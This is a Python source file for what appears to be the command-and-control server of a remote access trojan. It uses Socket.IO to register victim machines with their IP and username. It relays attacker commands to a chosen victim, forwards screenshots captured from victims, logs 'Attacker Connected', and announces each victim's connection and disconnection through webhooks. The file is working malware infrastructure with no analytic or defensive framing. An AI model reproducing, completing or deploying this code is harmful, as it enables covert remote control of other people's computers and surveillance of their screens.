83 lines
2.1 KiB
Python
83 lines
2.1 KiB
Python
import eventlet
|
|
import socketio
|
|
import _webhook
|
|
import _data
|
|
|
|
sio = socketio.Server()
|
|
app = socketio.WSGIApp(sio,
|
|
static_files={
|
|
'/': {
|
|
'content_type': 'text/html',
|
|
'filename': 'index.html'
|
|
}
|
|
})
|
|
|
|
web = _webhook.Weboh()
|
|
db = _data.DatabaseX()
|
|
|
|
|
|
def save_sid(sid, ip, username, server, webhook, avatar, footer):
|
|
db.enter_values(sid, ip, username, server, webhook, avatar, footer)
|
|
|
|
|
|
def disconnect_sid(sid):
|
|
db.delete_sid(sid)
|
|
|
|
@sio.event
|
|
def sending_screenshot(sid, data):
|
|
print(f'{sid} - sending screenshot')
|
|
sio.emit('receiving_screenshot', {'data': data['data']})
|
|
|
|
@sio.event
|
|
def send_command(sid, data):
|
|
dicx = data['data']
|
|
sio.emit('receive_command', {'data': dicx["command"]}, room=dicx["sid"])
|
|
|
|
|
|
@sio.event
|
|
def connect(sid, environ):
|
|
print(f'{sid} - connected')
|
|
|
|
|
|
@sio.event
|
|
def client_connect(sid, data):
|
|
print("Attacker Connected", data)
|
|
|
|
@sio.event
|
|
def number_connected(sid): #Return the number of connected clients
|
|
number = db.get_sessions()
|
|
sio.emit("all_sessions", {"data": number}, room=sid)
|
|
|
|
@sio.event
|
|
def rose_connect(sid, rose_data):
|
|
f = rose_data['data']
|
|
web.on_connect(ip=f['ip'],
|
|
username=f['username'],
|
|
server=f['server'],
|
|
webhook=f['webhook'],
|
|
avatar=f['avatar'],
|
|
footer=f['footer'],
|
|
sid=sid)
|
|
save_sid(sid, f['ip'], f['username'], f['server'], f['webhook'],
|
|
f['avatar'], f['footer'])
|
|
|
|
|
|
@sio.event
|
|
def disconnect(sid):
|
|
print('disconnect ', sid)
|
|
f = db.get_all(sid)
|
|
if f is None:
|
|
return
|
|
web.on_disconnect(ip=f[1],
|
|
username=f[2],
|
|
server=f[3],
|
|
webhook=f[4],
|
|
avatar=f[5],
|
|
footer=f[6],
|
|
sid=sid)
|
|
disconnect_sid(sid)
|
|
|
|
|
|
if __name__ == '__main__':
|
|
eventlet.wsgi.server(eventlet.listen(('', 5000)), app)
|